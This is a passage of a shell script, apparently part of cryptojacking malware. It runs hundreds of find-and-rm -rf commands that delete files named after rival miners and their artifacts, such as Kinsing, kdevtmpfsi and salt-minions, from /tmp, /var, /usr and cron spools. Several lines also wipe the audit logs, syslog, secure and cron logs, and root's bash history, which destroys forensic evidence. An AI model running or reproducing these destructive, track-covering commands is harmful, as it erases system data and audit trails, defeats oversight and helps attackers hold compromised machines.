  1128. find /var/tmp/ -type f -name "[K]insing*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1129. find /var/tmp/ -type f -name "[K]insing" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1130. find /var/tmp/ -type f -name "[K]devtmpfsi*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1131. find /var/tmp/ -type f -name "[K]devtmpfsi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1132. find /var/tmp/ -type f -name "[6]66.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1133. find /var/tmp/ -type f -name "[3]start_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1134. find /var/tmp/ -type f -name "[2]start_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1135. find /var/tmp/ -type f -name "[2].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1136. find /var/tmp/ -type f -name "[1].so" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1137. find /var/tmp/ -type f -name "[1].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1138. find /var/tmp/ -type f -name "[.]z" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1139. find /var/tmp/ -type f -name "[.]xm.log" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1140. find /var/tmp/ -type f -name "[.]lib" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1141. find /var/tmp/ -type f -name "[.]java" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1142. find /var/tmp/ -type f -name "[.]config_download.pid" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1143. find /var/spool/cron/ -type f -name "[s]alt-minions*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1144. find /var/spool/cron/ -type f -name "[s]alt-minions" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1145. find /var/spool/cron/ -type f -name "[n]obody" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1146. find /var/spool/cron/ -type f -name "[k]insing*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1147. find /var/spool/cron/ -type f -name "[k]insing" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1148. find /var/spool/cron/ -type f -name "[k]devtmpfsi*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1149. find /var/spool/cron/ -type f -name "[k]devtmpfsi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1150. find /var/spool/cron/ -type f -name "[b]ackup.db" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1151. find /var/spool/cron/ -type f -name "[a]dmin" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1152. find /var/spool/cron/ -type f -name "[S]alt-minions*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1153. find /var/spool/cron/ -type f -name "[S]alt-minions" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1154. find /var/spool/cron/ -type f -name "[K]insing*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1155. find /var/spool/cron/ -type f -name "[K]insing" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1156. find /var/spool/cron/ -type f -name "[K]devtmpfsi*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1157. find /var/spool/cron/ -type f -name "[K]devtmpfsi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1158. find /var/log/audit/ -type f -name "*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1159. find /var/log/ -type f -name "[s]yslog" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1160. find /var/log/ -type f -name "[s]ecure" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1161. find /var/log/ -type f -name "[c]ron" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1162. find /var/ -type f -name "[v]f" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1163. find /var/ -type f -name "[u]o" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1164. find /var/ -type f -name "[s]alt-minions*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1165. find /var/ -type f -name "[s]alt-minions" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1166. find /var/ -type f -name "[k]workerds" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1167. find /var/ -type f -name "[k]insing*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1168. find /var/ -type f -name "[k]insing" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1169. find /var/ -type f -name "[k]devtmpfsi*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1170. find /var/ -type f -name "[k]devtmpfsi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1171. find /var/ -type f -name "[j]w" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1172. find /var/ -type f -name "[j]spserv" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1173. find /var/ -type f -name "[d]ump.rdb" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1174. find /var/ -type f -name "[c]onfig.*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1175. find /var/ -type f -name "[S]alt-minions*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1176. find /var/ -type f -name "[S]alt-minions" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1177. find /var/ -type f -name "[K]insing*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1178. find /var/ -type f -name "[K]insing" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1179. find /var/ -type f -name "[K]devtmpfsi*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1180. find /var/ -type f -name "[K]devtmpfsi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1181. find /usr/local/lib/ -type f -name "[l]ibioset.so" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1182. find /usr/local/bin/ -type f -name "[d]ns" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1183. find /usr/local/ -type f -name "[a]egis*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1184. find /usr/local/ -type f -name "[a]egis" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1185. find /usr/lib64/ -type f -name "[l]ibrary1.so" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1186. find /usr/lib/ -type f -name "[v]oid.so" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1187. find /usr/ -type f -name "[w]riteable" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1188. find /usr/ -type f -name "[w]atchdogs" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1189. find /usr/ -type f -name "[l]ibiacpkmn.so.3" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1190. find /usr/ -type f -name "[k]ins*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1191. find /usr/ -type f -name "[e]xin" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1192. find /usr/ -type f -name "[c]onfig.json" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1193. find /usr/ -type f -name "[a]liyun-service" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1194. find /usr/ -type f -name "[.]systemcero" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1195. find /tmp/lol/ -type f -name "*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1196. find /tmp/ -type f -name "[z]0.txt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1197. find /tmp/ -type f -name "[x]x.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1198. find /tmp/ -type f -name "[x]ms" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1199. find /tmp/ -type f -name "[x]mi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1200. find /tmp/ -type f -name "[x]esa.txt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1201. find /tmp/ -type f -name "[x]d.json" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1202. find /tmp/ -type f -name "[x]anthe" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1203. find /tmp/ -type f -name "[w]nTKYg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1204. find /tmp/ -type f -name "[w]c.conf" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1205. find /tmp/ -type f -name "[w]atchdogs" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1206. find /tmp/ -type f -name "[w]atchbog.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1207. find /tmp/ -type f -name "[w]alle*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1208. find /tmp/ -type f -name "[u]pdate.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1209. find /tmp/ -type f -name "[u]pdate.s" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1210. find /tmp/ -type f -name "[u]nixdb_decode.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1211. find /tmp/ -type f -name "[t]ouch" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1212. find /tmp/ -type f -name "[t]mp2.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1213. find /tmp/ -type f -name "[t]mp.txt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1214. find /tmp/ -type f -name "[t]mp.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1215. find /tmp/ -type f -name "[t]ask.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1216. find /tmp/ -type f -name "[s]ysupdate" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1217. find /tmp/ -type f -name "[s]ystemxlv" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1218. find /tmp/ -type f -name "[s]ystemd" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1219. find /tmp/ -type f -name "[s]ystemctI" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1220. find /tmp/ -type f -name "[s]yslogdb" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1221. find /tmp/ -type f -name "[s]yslogd" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1222. find /tmp/ -type f -name "[s]ysguard" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1223. find /tmp/ -type f -name "[s]ustse" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1224. find /tmp/ -type f -name "[s]shcheck" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1225. find /tmp/ -type f -name "[s]sh_vuln.txt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1226. find /tmp/ -type f -name "[s]sh_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1227. find /tmp/ -type f -name "[s]sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1228. find /tmp/ -type f -name "[s]pread_rsa.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1229. find /tmp/ -type f -name "[s]ic" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1230. find /tmp/ -type f -name "[s]easame" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1231. find /tmp/ -type f -name "[s]can.log" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1232. find /tmp/ -type f -name "[s]alt-minions*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1233. find /tmp/ -type f -name "[s]alt-minions" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1234. find /tmp/ -type f -name "[s]a.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1235. find /tmp/ -type f -name "[r]untime2.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1236. find /tmp/ -type f -name "[r]untime.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1237. find /tmp/ -type f -name "[r]un.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1238. find /tmp/ -type f -name "[r]s.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1239. find /tmp/ -type f -name "[r]oot.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1240. find /tmp/ -type f -name "[q]q1" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1241. find /tmp/ -type f -name "[q]q" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1242. find /tmp/ -type f -name "[q]W3xT.2" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1243. find /tmp/ -type f -name "[p]scf*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1244. find /tmp/ -type f -name "[p]scd*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1245. find /tmp/ -type f -name "[p]roc" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1246. find /tmp/ -type f -name "[p]prt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1247. find /tmp/ -type f -name "[p]pol" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1248. find /tmp/ -type f -name "[p]op.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1249. find /tmp/ -type f -name "[p]ools.txt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1250. find /tmp/ -type f -name "[p]m.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1251. find /tmp/ -type f -name "[p]hp" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1252. find /tmp/ -type f -name "[p]dflushs.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1253. find /tmp/ -type f -name "[p]2.conf" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1254. find /tmp/ -type f -name "[p].*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1255. find /tmp/ -type f -name "[p]" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1256. find /tmp/ -type f -name "[o]sw.hb" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1257. find /tmp/ -type f -name "[n]ullcrew" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1258. find /tmp/ -type f -name "[n]ewdat.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1259. find /tmp/ -type f -name "[n]etworkservice" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1260. find /tmp/ -type f -name "[m]o.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1261. find /tmp/ -type f -name "[m]iner.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1262. find /tmp/ -type f -name "[m]al.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1263. find /tmp/ -type f -name "[l]r.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1264. find /tmp/ -type f -name "[l]ok" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1265. find /tmp/ -type f -name "[l]ogo9_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1266. find /tmp/ -type f -name "[l]ogo9.jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1267. find /tmp/ -type f -name "[l]ogo8_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1268. find /tmp/ -type f -name "[l]og_rot" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1269. find /tmp/ -type f -name "[l]m_ssh.assi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1270. find /tmp/ -type f -name "[l]ilpip" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1271. find /tmp/ -type f -name "[l]ibapache" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1272. find /tmp/ -type f -name "[l]ib.tar.gz" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1273. find /tmp/ -type f -name "[l]dr2.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1274. find /tmp/ -type f -name "[l]dr.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1275. find /tmp/ -type f -name "[k]workerdssx" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1276. find /tmp/ -type f -name "[k]workerds3" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1277. find /tmp/ -type f -name "[k]workerds" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1278. find /tmp/ -type f -name "[k]s3" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1279. find /tmp/ -type f -name "[k]s2" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1280. find /tmp/ -type f -name "[k]s" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1281. find /tmp/ -type f -name "[k]insing*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1282. find /tmp/ -type f -name "[k]insing" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1283. find /tmp/ -type f -name "[k]hugepageds" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1284. find /tmp/ -type f -name "[k]eys" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1285. find /tmp/ -type f -name "[k]erberods" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1286. find /tmp/ -type f -name "[k]devtmpfsi*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1287. find /tmp/ -type f -name "[k]devtmpfsi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1288. find /tmp/ -type f -name "[k]devtmpf*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1289. find /tmp/ -type f -name "[k]4.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1290. find /tmp/ -type f -name "[j]rm" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1291. find /tmp/ -type f -name "[j]mxx" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1292. find /tmp/ -type f -name "[j]enkins" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1293. find /tmp/ -type f -name "[j]avax/sshd2" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1294. find /tmp/ -type f -name "[j]avax/config.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1295. find /tmp/ -type f -name "[j]avax/bbb2" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1296. find /tmp/ -type f -name "[j]ava2" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1297. find /tmp/ -type f -name "[j]ava*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1298. find /tmp/ -type f -name "[j]ava" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1299. find /tmp/ -type f -name "[j]2.conf" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1300. find /tmp/ -type f -name "[j]*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1301. find /tmp/ -type f -name "[i]s.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1302. find /tmp/ -type f -name "[i]rqbalanc1" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1303. find /tmp/ -type f -name "[i]rq.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1304. find /tmp/ -type f -name "[i]rq" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1305. find /tmp/ -type f -name "[i]pss" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1306. find /tmp/ -type f -name "[i]nit.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1307. find /tmp/ -type f -name "[i].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1308. find /tmp/ -type f -name "[h]ttpd.conf" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1309. find /tmp/ -type f -name "[g]o2.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1310. find /tmp/ -type f -name "[g]o.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1311. find /tmp/ -type f -name "[g]o" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1312. find /tmp/ -type f -name "[g]ates.lod" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1313. find /tmp/ -type f -name "[f]s" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1314. find /tmp/ -type f -name "[f]czyo" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1315. find /tmp/ -type f -name "[e]x.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1316. find /tmp/ -type f -name "[d]l" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1317. find /tmp/ -type f -name "[d]evtools" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1318. find /tmp/ -type f -name "[d]evtool" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1319. find /tmp/ -type f -name "[d]dgs.3013" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1320. find /tmp/ -type f -name "[d]dgs.3012" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1321. find /tmp/ -type f -name "[d]dg*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1322. find /tmp/ -type f -name "[d]dg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1323. find /tmp/ -type f -name "[d]aemon" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1324. find /tmp/ -type f -name "[d].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1325. find /tmp/ -type f -name "[c]r.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1326. find /tmp/ -type f -name "[c]onns" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1327. find /tmp/ -type f -name "[c]onn" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1328. find /tmp/ -type f -name "[c]onfig.json" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1329. find /tmp/ -type f -name "[c]onfig.*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1330. find /tmp/ -type f -name "[c]onf.n" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1331. find /tmp/ -type f -name "[c]hongfu.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1332. find /tmp/ -type f -name "[c]at.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1333. find /tmp/ -type f -name "[b]zc.tgz*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1334. find /tmp/ -type f -name "[b]sh.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1335. find /tmp/ -type f -name "[b]ashg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1336. find /tmp/ -type f -name "[b]ashf" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1337. find /tmp/ -type f -name "[b]aby" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1338. find /tmp/ -type f -name "[a]sh.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1339. find /tmp/ -type f -name "[a]pachiii" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1340. find /tmp/ -type f -name "[a]m8jmBP" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1341. find /tmp/ -type f -name "[a]ddres*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1342. find /tmp/ -type f -name "[a]7b104c270" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1343. find /tmp/ -type f -name "[a]3e12d" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1344. find /tmp/ -type f -name "[W]atchdosMiner.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1345. find /tmp/ -type f -name "[S]alt-minions*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1346. find /tmp/ -type f -name "[S]alt-minions" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1347. find /tmp/ -type f -name "[S]Hre.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1348. find /tmp/ -type f -name "[R]ze.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1349. find /tmp/ -type f -name "[L]ov.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1350. find /tmp/ -type f -name "[K]insing*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1351. find /tmp/ -type f -name "[K]insing" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1352. find /tmp/ -type f -name "[K]devtmpfsi*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1353. find /tmp/ -type f -name "[K]devtmpfsi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1354. find /tmp/ -type f -name "[C]4iLM4L" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1355. find /tmp/ -type f -name "[8]4Onmce" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1356. find /tmp/ -type f -name "[6]66.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1357. find /tmp/ -type f -name "[6]5ccEJ7" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1358. find /tmp/ -type f -name "[3]start_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1359. find /tmp/ -type f -name "[3]lmigMo" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1360. find /tmp/ -type f -name "[2]t3ik" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1361. find /tmp/ -type f -name "[2]start_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1362. find /tmp/ -type f -name "[2]Ne80nA" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1363. find /tmp/ -type f -name "[2].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1364. find /tmp/ -type f -name "[1].so" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1365. find /tmp/ -type f -name "[.]xm" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1366. find /tmp/ -type f -name "[.]uninstall*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1367. find /tmp/ -type f -name "[.]tmpnewzz" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1368. find /tmp/ -type f -name "[.]tmpnewasss" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1369. find /tmp/ -type f -name "[.]tmpleve" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1370. find /tmp/ -type f -name "[.]tmpc" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1371. find /tmp/ -type f -name "[.]tables*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1372. find /tmp/ -type f -name "[.]systemd-private-*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1373. find /tmp/ -type f -name "[.]sysbabyuuuuu12" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1374. find /tmp/ -type f -name "[.]rod.tgz.2" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1375. find /tmp/ -type f -name "[.]rod.tgz.1" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1376. find /tmp/ -type f -name "[.]rod.tgz" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1377. find /tmp/ -type f -name "[.]rod" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1378. find /tmp/ -type f -name "[.]python*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1379. find /tmp/ -type f -name "[.]pt.tgz.1" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1380. find /tmp/ -type f -name "[.]pt.tgz" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1381. find /tmp/ -type f -name "[.]pt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1382. find /tmp/ -type f -name "[.]profile" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1383. find /tmp/ -type f -name "[.]p" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1384. find /tmp/ -type f -name "[.]omed" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1385. find /tmp/ -type f -name "[.]null" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1386. find /tmp/ -type f -name "[.]mynews1234" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1387. find /tmp/ -type f -name "[.]mer.tgz.1" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1388. find /tmp/ -type f -name "[.]mer.tgz" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1389. find /tmp/ -type f -name "[.]mer" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1390. find /tmp/ -type f -name "[.]mas" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1391. find /tmp/ -type f -name "[.]lib" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1392. find /tmp/ -type f -name "[.]kerberods" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1393. find /tmp/ -type f -name "[.]kdtmp" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1394. find /tmp/ -type f -name "[.]java" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1395. find /tmp/ -type f -name "[.]iokb21" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1396. find /tmp/ -type f -name "[.]hod.tgz.1" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1397. find /tmp/ -type f -name "[.]hod.tgz" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1398. find /tmp/ -type f -name "[.]hod" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1399. find /tmp/ -type f -name "[.]checking" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1400. find /tmp/ -type f -name "[.]censusqqqqqqqqq" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1401. find /tmp/ -type f -name "[.]bzc" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1402. find /tmp/ -type f -name "[.]abc" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1403. find /tmp/ -type f -name "[.]X11*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1404. find /tmp/ -type f -name "[.]FILE" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1405. find /tmp/ -type f -name "[*]index_bak*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1406. find /tmp/ -type f -name "[*]httpd.conf*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1407. find /tmp/ -type f -name "[*]httpd.conf" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1408. find /root/ -type f -name "[p].*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1409. find /root/ -type f -name "[c]onfig.*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1410. find /root/ -type f -name "[.]bash_history" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1411. find /opt/atlassian/confluence/bin/ -type f -name "[3].sh*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1412. find /opt/atlassian/confluence/bin/ -type f -name "[3].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
